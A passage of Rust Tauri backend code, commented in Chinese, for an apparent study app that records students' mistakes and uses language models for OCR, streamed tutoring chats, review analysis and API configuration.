timestamp: Utc::now(),
thinking_content: None, // 思维链内容由流式事件处理
rag_sources: None,
image_paths: None,
image_base64: None,
}],
created_at: Utc::now(),
};
// 保存临时会话
{
let mut sessions = state.temp_sessions.lock().await;
sessions.insert(temp_id.clone(), temp_session);
}
Ok(AnalysisResponse {
temp_id,
initial_data: InitialAnalysisData {
ocr_text: analysis_result.ocr_text,
tags: analysis_result.tags,
mistake_type: analysis_result.mistake_type,
first_answer: analysis_result.first_answer,
},
})
}
// 分析新错题 - 非流式版本（已废弃，为了兼容性保留）
#[tauri::command]
pub async fn analyze_new_mistake(
_request: AnalysisRequest,
_state: State<'_, AppState>,
) -> Result<AnalysisResponse> {
println!("警告: analyze_new_mistake 非流式版本已废弃");
Err(AppError::validation("非流式版本已废弃，请使用 analyze_new_mistake_stream"))
}
// 继续对话 - 流式版本
#[tauri::command]
pub async fn continue_chat_stream(
request: ContinueChatRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("继续对话(流式): {}", request.temp_id);
// 获取临时会话
let temp_session = {
let sessions = state.temp_sessions.lock().await;
sessions.get(&request.temp_id).cloned()
};
let mut session = temp_session.ok_or("临时会话不存在")?;
// 构建上下文
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(session.ocr_text));
context.insert("tags".to_string(), serde_json::json!(session.tags));
context.insert("mistake_type".to_string(), serde_json::json!(session.mistake_type));
context.insert("user_question".to_string(), serde_json::json!(session.user_question));
// 启动流式对话
let stream_event = format!("continue_chat_stream_{}", request.temp_id);
// 获取模型配置以判断是否是推理模型
let model_config = state.llm_manager.get_model2_config().await
.map_err(|e| format!("获取模型配置失败: {}", e))?;
// 使用前端传入的思维链设置，如果没有则根据模型类型自动决定
let enable_chain_of_thought = request.enable_chain_of_thought.unwrap_or(model_config.is_reasoning);
let model2_result = state.llm_manager.call_unified_model_2_stream(
&context,
&request.chat_history,
&session.subject,
enable_chain_of_thought,
Some(session.question_images.clone()), // 🎯 修复：传入图片路径给第二模型
Some("基于题目信息继续对话解答用户问题"),
window,
&stream_event,
).await.map_err(|e| format!("流式对话失败: {}", e))?;
// 更新会话的聊天记录
session.chat_history = request.chat_history;
session.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: model2_result.assistant_message.clone(),
timestamp: Utc::now(),
thinking_content: model2_result.chain_of_thought_details.map(|details| details.to_string()),
rag_sources: None,
image_paths: None,
image_base64: None,
});
// 保存更新后的会话
{
let mut sessions = state.temp_sessions.lock().await;
sessions.insert(request.temp_id, session);
}
Ok(ContinueChatResponse {
new_assistant_message: model2_result.assistant_message,
})
}
// 继续对话 - 非流式版本（已废弃，为了兼容性保留）
#[tauri::command]
pub async fn continue_chat(
_request: ContinueChatRequest,
_state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("警告: continue_chat 非流式版本已废弃");
Err(AppError::validation("非流式版本已废弃，请使用 continue_chat_stream"))
}
#[tauri::command]
pub async fn save_mistake_from_analysis(
request: SaveMistakeRequest,
state: State<'_, AppState>,
) -> Result<SaveMistakeResponse> {
println!("保存错题分析结果: {}", request.temp_id);
// 获取临时会话
let temp_session = {
let sessions = state.temp_sessions.lock().await;
sessions.get(&request.temp_id).cloned()
};
let session = temp_session.ok_or("临时会话不存在")?;
// 创建错题项
let mistake_item = MistakeItem {
id: Uuid::new_v4().to_string(),
subject: session.subject,
created_at: session.created_at,
question_images: session.question_images,
analysis_images: session.analysis_images,
user_question: session.user_question,
ocr_text: session.ocr_text,
tags: session.tags,
mistake_type: session.mistake_type,
status: "summary_required".to_string(), // 需要生成总结才能完成
updated_at: Utc::now(),
chat_history: request.final_chat_history,
mistake_summary: None, // 新增字段：需要后续生成
user_error_analysis: None, // 新增字段：需要后续生成
};
// 保存到数据库
match state.database.save_mistake(&mistake_item) {
Ok(_) => {
// 清理临时会话
{
let mut sessions = state.temp_sessions.lock().await;
sessions.remove(&request.temp_id);
}
Ok(SaveMistakeResponse {
success: true,
final_mistake_item: Some(mistake_item),
})
}
Err(e) => Err(AppError::database(format!("保存错题失败: {}", e))),
}
}
// 错题库管理命令
#[tauri::command]
pub async fn get_mistakes(
subject: Option<String>,
mistake_type: Option<String>,
tags: Option<Vec<String>>,
state: State<'_, AppState>,
) -> Result<Vec<MistakeItem>> {
println!("获取错题列表");
let subject_filter = subject.as_deref();
let type_filter = mistake_type.as_deref();
let tags_filter = tags.as_ref().map(|v| v.as_slice());
match state.database.get_mistakes(subject_filter, type_filter, tags_filter) {
Ok(mistakes) => Ok(mistakes),
Err(e) => Err(AppError::database(format!("获取错题列表失败: {}", e))),
}
}
#[tauri::command]
pub async fn get_review_analyses(
subject: Option<String>,
status: Option<String>,
state: State<'_, AppState>,
) -> Result<Vec<ReviewAnalysisItem>> {
println!("获取回顾分析列表");
let subject_filter = subject.as_deref();
let status_filter = status.as_deref();
match state.database.get_review_analyses(subject_filter, status_filter) {
Ok(analyses) => Ok(analyses),
Err(e) => Err(AppError::database(format!("获取回顾分析列表失败: {}", e))),
}
}
#[tauri::command]
pub async fn delete_review_analysis(
id: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("删除回顾分析: {}", id);
match state.database.delete_review_analysis(&id) {
Ok(deleted) => {
if deleted {
println!("✅ 回顾分析删除成功: {}", id);
} else {
println!("⚠️ 回顾分析不存在: {}", id);
}
Ok(deleted)
},
Err(e) => {
println!("❌ 删除回顾分析失败: {}", e);
Err(AppError::database(format!("删除回顾分析失败: {}", e)))
},
}
}
#[tauri::command]
pub async fn get_mistake_details(
id: String,
state: State<'_, AppState>,
) -> Result<Option<MistakeItem>> {
println!("获取错题详情: {}", id);
match state.database.get_mistake_by_id(&id) {
Ok(mistake) => Ok(mistake),
Err(e) => Err(AppError::database(format!("获取错题详情失败: {}", e))),
}
}
#[tauri::command]
pub async fn update_mistake(
mistake: MistakeItem,
state: State<'_, AppState>,
) -> Result<MistakeItem> {
println!("更新错题: {}", mistake.id);
match state.database.save_mistake(&mistake) {
Ok(_) => Ok(mistake),
Err(e) => Err(AppError::database(format!("更新错题失败: {}", e))),
}
}
#[tauri::command]
pub async fn delete_mistake(
id: String,
state: State<'_, AppState>,
) -> Result<bool> {
println!("删除错题: {}", id);
// 首先获取错题信息以获取图片路径
if let Ok(Some(mistake)) = state.database.get_mistake_by_id(&id) {
// 删除关联的图片文件
for image_path in mistake.question_images.iter().chain(mistake.analysis_images.iter()) {
if let Err(e) = state.file_manager.delete_image(image_path).await {
println!("删除图片文件失败: {}, 错误: {}", image_path, e);
}
}
}
// 删除数据库记录
match state.database.delete_mistake(&id) {
Ok(deleted) => Ok(deleted),
Err(e) => Err(AppError::database(format!("删除错题失败: {}", e))),
}
}
// 🎯 修复BUG-03：新的错题对话接口，支持显式总结请求参数
#[tauri::command]
pub async fn continue_mistake_chat_stream_v2(
mistakeId: String,
chatHistory: Vec<ChatMessage>,
userMessage: String,
isSummaryRequest: Option<bool>,
enableChainOfThought: Option<bool>,
window: Window,
state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("在错题详情页继续对话(流式v2): {}, 总结请求: {:?}", mistakeId, isSummaryRequest);
// 获取错题详情
let mistake = state.database.get_mistake_by_id(&mistakeId)
.map_err(|e| AppError::database(format!("获取错题失败: {}", e)))?
.ok_or_else(|| AppError::not_found("错题不存在"))?;
// 构建上下文
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(mistake.ocr_text));
context.insert("tags".to_string(), serde_json::json!(mistake.tags));
context.insert("user_question".to_string(), serde_json::json!(mistake.user_question));
context.insert("mistake_type".to_string(), serde_json::json!(mistake.mistake_type));
let is_summary_request = isSummaryRequest.unwrap_or(false);
// 根据是否为总结请求选择合适的模型配置
let model_config = if is_summary_request {
println!("🔍 显式总结请求，尝试使用总结模型");
// 获取模型分配配置
let model_assignments = state.llm_manager.get_model_assignments().await
.map_err(|e| format!("获取模型分配失败: {}", e))?;
// 优先使用总结模型，如果未配置则回退到第二模型
let target_model_id = model_assignments.summary_model_config_id
.or(model_assignments.model2_config_id)
.ok_or_else(|| "没有配置可用的总结模型或第二模型".to_string())?;
// 获取目标模型配置
let api_configs = state.llm_manager.get_api_configs().await
.map_err(|e| format!("获取API配置失败: {}", e))?;
let target_config = api_configs.iter()
.find(|config| config.id == target_model_id && config.enabled)
.ok_or_else(|| format!("找不到可用的目标模型配置: {}", target_model_id))?;
println!("📋 总结请求使用模型: {} ({})", target_config.name, target_config.model);
target_config.clone()
} else {
// 常规对话使用第二模型
state.llm_manager.get_model2_config().await
.map_err(|e| format!("获取模型配置失败: {}", e))?
};
// 决定是否启用思维链
let enable_cot = if is_summary_request {
enableChainOfThought.unwrap_or(false)
} else {
enableChainOfThought.unwrap_or(model_config.is_reasoning)
};
// 为多模态模型传递图片信息
let image_paths = if model_config.is_multimodal && !mistake.question_images.is_empty() {
Some(mistake.question_images.clone())
} else {
None
};
// 构建完整的聊天历史（包含新的用户消息）
let mut full_chat_history = chatHistory;
if !userMessage.trim().is_empty() {
full_chat_history.push(ChatMessage {
role: "user".to_string(),
content: userMessage,
timestamp: Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: None,
});
}
// 调用统一AI接口获取回复（流式）
let stream_event = format!("mistake_chat_stream_{}", mistakeId);
let model2_result = if is_summary_request {
// 总结请求使用动态选择的模型配置
state.llm_manager.call_unified_model_stream_with_config(
&model_config,
&context,
&full_chat_history,
&mistake.subject,
enable_cot,
image_paths.clone(),
Some("基于题目信息和聊天记录生成学习总结"),
window,
&stream_event,
).await.map_err(|e| format!("获取AI回复失败: {}", e))?
} else {
// 常规对话使用第二模型
state.llm_manager.call_unified_model_2_stream(
&context,
&full_chat_history,
&mistake.subject,
enable_cot,
image_paths,
Some("基于题目信息和聊天记录进行深入追问解答"),
window,
&stream_event,
).await.map_err(|e| format!("获取AI回复失败: {}", e))?
};
let response = model2_result.assistant_message.clone();
// 🎯 修复总结BUG：过滤掉魔法字符串，避免污染数据库
let filtered_chat_history: Vec<ChatMessage> = full_chat_history.into_iter()
.filter(|msg| !msg.content.contains("[SUMMARY_REQUEST]"))
.collect();
// 更新错题的聊天记录
let mut updated_mistake = mistake;
updated_mistake.chat_history = filtered_chat_history;
// 🎯 关键修复：只有非总结请求才将AI响应添加到聊天记录
if !is_summary_request {
updated_mistake.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: response.clone(),
timestamp: Utc::now(),
thinking_content: extract_thinking_content_from_model_output(&model2_result),
rag_sources: None,
image_paths: None,
image_base64: None,
});
println!("✅ [聊天记录v2] 普通对话响应已添加到聊天记录");
} else {
println!("🚫 [总结请求v2] 总结响应不添加到聊天记录，避免显示为第二个AI回复");
}
updated_mistake.updated_at = Utc::now();
// 保存更新后的错题
if let Err(e) = state.database.save_mistake(&updated_mistake) {
println!("保存聊天记录失败: {}", e);
}
Ok(ContinueChatResponse {
new_assistant_message: response,
})
}
// 在错题详情页继续对话 - 流式版本（保持向后兼容）
#[tauri::command]
pub async fn continue_mistake_chat_stream(
mistakeId: String,
chatHistory: Vec<ChatMessage>,
enableChainOfThought: Option<bool>,
window: Window,
state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("在错题详情页继续对话(流式): {}", mistakeId);
// 获取错题详情
let mistake = state.database.get_mistake_by_id(&mistakeId)
.map_err(|e| AppError::database(format!("获取错题失败: {}", e)))?
.ok_or_else(|| AppError::not_found("错题不存在"))?;
// 构建上下文
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(mistake.ocr_text));
context.insert("tags".to_string(), serde_json::json!(mistake.tags));
context.insert("user_question".to_string(), serde_json::json!(mistake.user_question));
context.insert("mistake_type".to_string(), serde_json::json!(mistake.mistake_type));
// 🎯 新增：检测是否为总结请求
let is_summary_request = chatHistory.last()
.map(|msg| msg.content.contains("[SUMMARY_REQUEST]"))
.unwrap_or(false);
// 🎯 新增：根据是否为总结请求选择合适的模型配置
let model_config = if is_summary_request {
println!("🔍 检测到总结请求，尝试使用总结模型");
// 获取模型分配配置
let model_assignments = state.llm_manager.get_model_assignments().await
.map_err(|e| format!("获取模型分配失败: {}", e))?;
// 优先使用总结模型，如果未配置则回退到第二模型
let target_model_id = model_assignments.summary_model_config_id
.or(model_assignments.model2_config_id)
.ok_or_else(|| "没有配置可用的总结模型或第二模型".to_string())?;
// 获取目标模型配置
let api_configs = state.llm_manager.get_api_configs().await
.map_err(|e| format!("获取API配置失败: {}", e))?;
let target_config = api_configs.iter()
.find(|config| config.id == target_model_id && config.enabled)
.ok_or_else(|| format!("找不到可用的目标模型配置: {}", target_model_id))?;
println!("📋 总结请求使用模型: {} ({})", target_config.name, target_config.model);
target_config.clone()
} else {
// 常规对话使用第二模型
state.llm_manager.get_model2_config().await
.map_err(|e| format!("获取模型配置失败: {}", e))?
};
// 决定是否启用思维链：用户设置优先，否则根据模型类型自动决定
// 总结请求默认不启用思维链（除非用户明确要求）
let enable_cot = if is_summary_request {
enableChainOfThought.unwrap_or(false)
} else {
enableChainOfThought.unwrap_or(model_config.is_reasoning)
};
// 调用统一AI接口获取回复（流式）
let stream_event = format!("mistake_chat_stream_{}", mistakeId);
// 🎯 修复BUG-01：为多模态模型传递图片信息
let image_paths = if model_config.is_multimodal && !mistake.question_images.is_empty() {
Some(mistake.question_images.clone())
} else {
None
};
// 🎯 新增：根据模型配置调用相应的AI接口
let model2_result = if is_summary_request {
// 总结请求使用动态选择的模型配置
state.llm_manager.call_unified_model_stream_with_config(
&model_config,
&context,
&chatHistory,
&mistake.subject,
enable_cot,
image_paths.clone(), // 🎯 修复：传递图片信息
Some("基于题目信息和聊天记录生成学习总结"),
window,
&stream_event,
).await.map_err(|e| format!("获取AI回复失败: {}", e))?
} else {
// 常规对话使用第二模型
state.llm_manager.call_unified_model_2_stream(
&context,
&chatHistory,
&mistake.subject,
enable_cot,
image_paths, // 🎯 修复：传递图片信息
Some("基于题目信息和聊天记录进行深入追问解答"),
window,
&stream_event,
).await.map_err(|e| format!("获取AI回复失败: {}", e))?
};
let response = model2_result.assistant_message.clone(); // Clone to avoid partial move
// 🎯 修复总结BUG：检测是否为总结请求，如果是则不将响应添加到聊天记录
let is_summary_request = chatHistory.last()
.map(|msg| msg.content.contains("[SUMMARY_REQUEST]"))
.unwrap_or(false);
// 🎯 修复BUG-03：过滤掉魔法字符串，避免污染数据库
let filtered_chat_history: Vec<ChatMessage> = chatHistory.into_iter()
.filter(|msg| !msg.content.contains("[SUMMARY_REQUEST]"))
.collect();
// 更新错题的聊天记录
let mut updated_mistake = mistake;
updated_mistake.chat_history = filtered_chat_history;
// 🎯 关键修复：只有非总结请求才将AI响应添加到聊天记录
if !is_summary_request {
updated_mistake.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: response.clone(),
timestamp: Utc::now(),
thinking_content: extract_thinking_content_from_model_output(&model2_result),
rag_sources: None,
image_paths: None,
image_base64: None,
});
println!("✅ [聊天记录] 普通对话响应已添加到聊天记录");
} else {
println!("🚫 [总结请求] 总结响应不添加到聊天记录，避免显示为第二个AI回复");
}
updated_mistake.updated_at = Utc::now();
// 保存更新后的错题
if let Err(e) = state.database.save_mistake(&updated_mistake) {
println!("保存聊天记录失败: {}", e);
}
Ok(ContinueChatResponse {
new_assistant_message: response,
})
}
// 在错题详情页继续对话 - 非流式版本（已废弃，为了兼容性保留）
#[tauri::command]
pub async fn continue_mistake_chat(
_mistake_id: String,
_chat_history: Vec<ChatMessage>,
_state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("警告: continue_mistake_chat 非流式版本已废弃");
Err(AppError::validation("非流式版本已废弃，请使用 continue_mistake_chat_stream"))
}
// 回顾分析命令 - 流式版本
#[tauri::command]
pub async fn analyze_review_session_stream(
subject: String,
mistake_ids: Vec<String>,
window: Window,
state: State<'_, AppState>,
) -> Result<ReviewSessionResponse> {
println!("回顾分析(流式): {} 个错题", mistake_ids.len());
// 获取所有选中的错题
let mut mistakes = Vec::new();
for id in &mistake_ids {
match state.database.get_mistake_by_id(id) {
Ok(Some(mistake)) => mistakes.push(mistake),
Ok(None) => return Err(AppError::not_found(format!("错题不存在: {}", id))),
Err(e) => return Err(AppError::database(format!("获取错题失败: {}", e))),
}
}
// 调用分析服务进行回顾分析（流式）
let stream_event = "review_analysis_stream";
let analysis_result = state.analysis_service.analyze_review_session_stream(
&mistakes,
&subject,
window,
stream_event,
).await.map_err(|e| format!("回顾分析失败: {}", e))?;
let review_id = Uuid::new_v4().to_string();
let now = Utc::now();
// 创建回顾分析会话
let review_session = ReviewSession {
id: review_id.clone(),
subject: subject.clone(),
mistake_ids: mistake_ids.clone(),
analysis_summary: analysis_result.clone(),
created_at: now,
updated_at: now,
chat_history: vec![ReviewChatMessage {
id: Uuid::new_v4().to_string(),
session_id: review_id.clone(),
role: "assistant".to_string(),
content: analysis_result.clone(),
timestamp: now,
}],
};
// 保存回顾分析会话到数据库
match state.database.save_review_session(&review_session) {
Ok(_) => {
println!("回顾分析会话已保存: {}", review_id);
},
Err(e) => {
println!("保存回顾分析会话失败: {}", e);
return Err(AppError::database(format!("保存回顾分析会话失败: {}", e)));
}
}
Ok(ReviewSessionResponse {
review_id,
analysis_summary: analysis_result.clone(),
chat_history: Some(vec![ChatMessage {
role: "assistant".to_string(),
content: analysis_result,
timestamp: now,
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: None,
}]),
})
}
// 统计和设置命令
#[tauri::command]
pub async fn get_statistics(
state: State<'_, AppState>,
) -> Result<serde_json::Value> {
println!("获取统计信息");
match state.database.get_statistics() {
Ok(stats) => {
let stats_json = serde_json::to_value(stats)
.map_err(|e| format!("序列化统计数据失败: {}", e))?;
Ok(stats_json)
}
Err(e) => Err(AppError::database(format!("获取统计信息失败: {}", e))),
}
}
#[tauri::command]
pub async fn save_setting(
key: String,
value: String,
state: State<'_, AppState>,
) -> Result<()> {
println!("保存设置: {} = {}", key, value);
match state.database.save_setting(&key, &value) {
Ok(_) => Ok(()),
Err(e) => Err(AppError::database(format!("保存设置失败: {}", e))),
}
}
#[tauri::command]
pub async fn get_setting(
key: String,
state: State<'_, AppState>,
) -> Result<Option<String>> {
println!("获取设置: {}", key);
match state.database.get_setting(&key) {
Ok(value) => Ok(value),
Err(e) => Err(AppError::database(format!("获取设置失败: {}", e))),
}
}
#[tauri::command]
pub async fn test_api_connection(
api_key: String,
api_base: String,
model: Option<String>,
state: State<'_, AppState>,
) -> Result<bool> {
println!("测试API连接: {} (模型: {:?})", api_base, model);
// 创建临时的LLM管理器进行测试
let temp_llm = crate::llm_manager::LLMManager::new(state.database.clone(), state.file_manager.clone());
let result = if let Some(model_name) = model.as_deref() {
temp_llm.test_connection_with_model(&api_key, &api_base, Some(model_name)).await
} else {
temp_llm.test_connection(&api_key, &api_base).await
};
match result {
Ok(success) => {
println!("API连接测试结果: {}", success);
if !success {
println!("API连接测试失败：虽然没有异常，但测试返回了false");
}
Ok(success)
},
Err(e) => {
println!("API连接测试错误: {}", e);
// 为了获得更详细的错误信息，我们返回错误而不是false
Err(AppError::validation(format!("API连接测试失败: {}", e)))
}
}
}
#[tauri::command]
pub async fn get_supported_subjects(
state: State<'_, AppState>,
) -> Result<Vec<String>> {
println!("获取支持的科目（从数据库动态获取）");
// 从数据库获取所有已启用的科目配置
match state.database.get_all_subject_configs(true) {
Ok(configs) => {
let subjects: Vec<String> = configs
.into_iter()
.map(|config| config.subject_name)
.collect();
println!("从数据库获取到 {} 个启用的科目: {:?}", subjects.len(), subjects);
// 如果数据库中没有科目配置，返回默认科目列表并记录警告
if subjects.is_empty() {
println!("⚠️ 数据库中没有启用的科目配置，返回默认科目列表");
Ok(vec![
"数学".to_string(),
"物理".to_string(),
"化学".to_string(),
"英语".to_string(),
"语文".to_string(),
"生物".to_string(),
"历史".to_string(),
"地理".to_string(),
"政治".to_string(),
])
} else {
Ok(subjects)
}
}
Err(e) => {
println!("⚠️ 从数据库获取科目配置失败: {}，返回默认科目列表", e);
// 数据库查询失败时返回默认科目列表，确保应用可用性
Ok(vec![
"数学".to_string(),
"物理".to_string(),
"化学".to_string(),
"英语".to_string(),
"语文".to_string(),
"生物".to_string(),
"历史".to_string(),
"地理".to_string(),
"政治".to_string(),
])
}
}
}
// 文件管理命令
#[tauri::command]
pub async fn get_image_as_base64(
relative_path: String,
state: State<'_, AppState>,
) -> Result<String> {
println!("获取图片base64: {}", relative_path);
match state.file_manager.get_image_as_base64(&relative_path).await {
Ok(base64_data) => Ok(base64_data),
Err(e) => Err(AppError::database(format!("获取图片失败: {}", e))),
}
}
#[tauri::command]
pub async fn save_image_from_base64_path(
base64_data: String,
file_name: String,
state: State<'_, AppState>,
) -> Result<String> {
println!("从Base64保存图片: {}", file_name);
match state.file_manager.save_image_from_base64(&base64_data, &file_name).await {
Ok(saved_path) => Ok(saved_path),
Err(e) => Err(AppError::database(format!("保存图片失败: {}", e))),
}
}
#[tauri::command]
pub async fn cleanup_orphaned_images(
state: State<'_, AppState>,
) -> Result<Vec<String>> {
println!("清理孤立图片");
match state.file_manager.cleanup_orphaned_images(&state.database).await {
Ok(cleaned_files) => Ok(cleaned_files),
Err(e) => Err(AppError::database(format!("清理孤立图片失败: {}", e))),
}
}
/// 获取图片统计信息
#[tauri::command]
pub async fn get_image_statistics(
state: State<'_, AppState>,
) -> Result<crate::file_manager::ImageStatistics> {
println!("获取图片统计信息");
state.file_manager.get_image_statistics().await
.map_err(|e| AppError::database(format!("获取图片统计失败: {}", e)))
}
// 专用配置管理命令
#[tauri::command]
pub async fn get_api_configurations(
state: State<'_, AppState>,
) -> Result<Vec<ApiConfig>> {
println!("获取API配置列表");
state.llm_manager.get_api_configs().await
}
#[tauri::command]
pub async fn save_api_configurations(
configs: Vec<ApiConfig>,
state: State<'_, AppState>,
) -> Result<()> {
println!("保存API配置列表: {} 个配置", configs.len());
state.llm_manager.save_api_configurations(&configs).await
}
#[tauri::command]
pub async fn get_model_assignments(
state: State<'_, AppState>,
) -> Result<ModelAssignments> {
println!("获取模型分配配置");
state.llm_manager.get_model_assignments().await
}
#[tauri::command]
pub async fn save_model_assignments(
assignments: ModelAssignments,
state: State<'_, AppState>,
) -> Result<()> {
println!("保存模型分配配置");
state.llm_manager.save_model_assignments(&assignments).await
}
// 回顾分析追问 - 流式版本
#[tauri::command]
pub async fn continue_review_chat_stream(
review_id: String,
chat_history: Vec<ChatMessage>,
window: Window,
state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("回顾分析追问(流式): {}", review_id);
// 获取回顾分析会话
let review_session = state.database.get_review_session_by_id(&review_id)
.map_err(|e| format!("获取回顾分析会话失败: {}", e))?
.ok_or("回顾分析会话不存在")?;
// 构建上下文信息
let mut context = std::collections::HashMap::new();
context.insert("review_type".to_string(), serde_json::json!("回顾分析"));
context.insert("subject".to_string(), serde_json::json!(review_session.subject));
context.insert("mistake_count".to_string(), serde_json::json!(review_session.mistake_ids.len()));
context.insert("analysis_summary".to_string(), serde_json::json!(review_session.analysis_summary));
// 获取模型配置以判断是否是推理模型
let model_config = state.llm_manager.get_model2_config().await
.map_err(|e| format!("获取模型配置失败: {}", e))?;
// 推理模型自动启用思维链，回顾分析追问也需要深度思考
let enable_chain_of_thought = model_config.is_reasoning || true; // 回顾分析追问总是启用思维链
// 🎯 修复：获取相关错题的图片信息
let mut all_image_paths = Vec::new();
for mistake_id in &review_session.mistake_ids {
if let Ok(Some(mistake)) = state.database.get_mistake_by_id(mistake_id) {
all_image_paths.extend(mistake.question_images);
}
}
// 🎯 修复：为多模态模型传递图片信息
let image_paths = if model_config.is_multimodal && !all_image_paths.is_empty() {
Some(all_image_paths)
} else {
None
};
// 调用统一AI接口获取回复（流式）
let stream_event = format!("review_chat_stream_{}", review_id);
let response = state.llm_manager.call_unified_model_2_stream(
&context,
&chat_history,
&review_session.subject,
enable_chain_of_thought,
image_paths, // 🎯 修复：传递相关错题的图片信息
Some("基于回顾分析结果和相关题目图片进行追问解答"),
window,
&stream_event,
).await.map_err(|e| format!("获取AI回复失败: {}", e))?;
// 创建新的聊天消息
let new_message = ReviewChatMessage {
id: Uuid::new_v4().to_string(),
session_id: review_id.clone(),
role: "assistant".to_string(),
content: response.assistant_message.clone(),
timestamp: Utc::now(),
};
// 保存聊天消息到数据库
if let Err(e) = state.database.add_review_chat_message(&new_message) {
println!("保存回顾分析聊天记录失败: {}", e);
}
Ok(ContinueChatResponse {
new_assistant_message: response.assistant_message,
})
}
// 回顾分析追问 - 非流式版本（已废弃，为了兼容性保留）
#[tauri::command]
pub async fn continue_review_chat(
_review_id: String,
_chat_history: Vec<ChatMessage>,
_state: State<'_, AppState>,
) -> Result<ContinueChatResponse> {
println!("警告: continue_review_chat 非流式版本已废弃");
Err(AppError::validation("非流式版本已废弃，请使用 continue_review_chat_stream"))
}
// 分步骤分析：先OCR，再流式AI解答
#[tauri::command]
pub async fn analyze_step_by_step(
request: AnalysisRequest,
state: State<'_, AppState>,
) -> Result<serde_json::Value> {
println!("🚀 开始分步骤分析: 科目={}, 问题图片={}, 解析图片={}, 用户问题长度={}",
request.subject,
request.question_image_files.len(),
request.analysis_image_files.len(),
request.user_question.len()
);
let temp_id = Uuid::new_v4().to_string();
println!("🆔 生成临时ID: {}", temp_id);
// 保存上传的图片文件
let mut question_image_paths = Vec::new();
let mut analysis_image_paths = Vec::new();
// 处理问题图片
println!("📁 开始保存问题图片，共{}张", request.question_image_files.len());
for (index, base64_data) in request.question_image_files.iter().enumerate() {
let filename = format!("question_{}_{}.jpg", temp_id, index);
println!("💾 保存问题图片 {}: {}", index + 1, filename);
match state.file_manager.save_image_from_base64(base64_data, &filename).await {
Ok(path) => {
println!("✅ 问题图片保存成功: {}", path);
question_image_paths.push(path);
},
Err(e) => {
let error_msg = format!("保存问题图片失败: {}", e);
println!("❌ {}", error_msg);
return Err(AppError::database(error_msg));
}
}
}
// 处理解析图片
for (index, base64_data) in request.analysis_image_files.iter().enumerate() {
let filename = format!("analysis_{}_{}.jpg", temp_id, index);
match state.file_manager.save_image_from_base64(base64_data, &filename).await {
Ok(path) => analysis_image_paths.push(path),
Err(e) => return Err(AppError::database(format!("保存解析图片失败: {}", e))),
}
}
// 第一步：只进行OCR和分类分析
println!("🔍 开始调用模型一进行OCR分析，图片数量: {}", question_image_paths.len());
let model1_result = state.llm_manager.call_unified_model_1(
question_image_paths.clone(),
&request.user_question,
&request.subject,
None,
).await.map_err(|e| {
let error_msg = format!("OCR分析失败: {}", e);
println!("❌ {}", error_msg);
AppError::llm(error_msg)
})?;
println!("✅ OCR分析完成");
// 创建临时会话（暂时不包含AI解答）
let temp_session = TempSession {
temp_id: temp_id.clone(),
subject: request.subject.clone(),
question_images: question_image_paths,
analysis_images: analysis_image_paths,
user_question: request.user_question.clone(),
ocr_text: model1_result.ocr_text.clone(),
tags: model1_result.tags.clone(),
mistake_type: model1_result.mistake_type.clone(),
chat_history: vec![], // 暂时为空，等待流式填充
created_at: Utc::now(),
};
// 保存临时会话
{
let mut sessions = state.temp_sessions.lock().await;
sessions.insert(temp_id.clone(), temp_session);
}
// 返回OCR结果
let response = serde_json::json!({
"temp_id": temp_id,
"ocr_result": {
"ocr_text": model1_result.ocr_text,
"tags": model1_result.tags,
"mistake_type": model1_result.mistake_type
}
});
Ok(response)
}
// 启动流式AI解答
#[tauri::command]
pub async fn start_streaming_answer(
request: StartStreamingAnswerRequest,
window: Window,
state: State<'_, AppState>,
) -> Result<()> {
println!("启动流式AI解答: {}, 思维链: {}", request.temp_id, request.enable_chain_of_thought);
// 获取临时会话
let temp_session = {
let sessions = state.temp_sessions.lock().await;
sessions.get(&request.temp_id).cloned()
};
let session = temp_session.ok_or("临时会话不存在")?;
// 构建上下文
let mut context = std::collections::HashMap::new();
context.insert("ocr_text".to_string(), serde_json::json!(session.ocr_text));
context.insert("tags".to_string(), serde_json::json!(session.tags));
context.insert("mistake_type".to_string(), serde_json::json!(session.mistake_type));
context.insert("user_question".to_string(), serde_json::json!(session.user_question));
// 启动流式AI解答
let stream_event = format!("analysis_stream_{}", request.temp_id);
let model2_result = state.llm_manager.call_unified_model_2_stream(
&context,
&[], // 空的聊天历史
&session.subject,
request.enable_chain_of_thought, // 使用传入的思维链参数
Some(session.question_images.clone()), // 🎯 修复：传入图片路径给第二模型
None, // 暂时不使用任务上下文
window,
&stream_event,
).await.map_err(|e| format!("流式AI解答失败: {}", e))?;
// 更新临时会话的聊天历史
{
let mut sessions = state.temp_sessions.lock().await;
if let Some(session) = sessions.get_mut(&request.temp_id) {
session.chat_history.push(ChatMessage {
role: "assistant".to_string(),
content: model2_result.assistant_message,
timestamp: Utc::now(),
thinking_content: None,
rag_sources: None,
image_paths: None,
image_base64: None,
});
}
}
Ok(())
}
// 获取支持的模型适配器选项
#[tauri::command]
pub async fn get_model_adapter_options(
state: State<'_, AppState>,
) -> Result<Vec<serde_json::Value>> {
println!("获取模型适配器选项");
// 尝试从数据库加载自定义适配器选项
match state.database.get_setting("model_adapter_options") {
Ok(Some(options_json)) => {
// 尝试解析自定义配置
match serde_json::from_str::<Vec<serde_json::Value>>(&options_json) {
Ok(mut custom_options) => {
// 如果列表中缺少 Google(Gemini) 选项，则自动补充
let has_google = custom_options.iter().any(|item| {
item.get("value").and_then(|v| v.as_str()) == Some("google")
});
if !has_google {
if let Some(google_item) = get_default_model_adapter_options()
.into_iter()
.find(|item| item.get("value").and_then(|v| v.as_str()) == Some("google"))
{
println!("🚀 未检测到 Google (Gemini) 适配器，已自动添加。");
custom_options.push(google_item);
// 将更新后的列表写回数据库
if let Err(e) = state.database.save_setting(
"model_adapter_options",
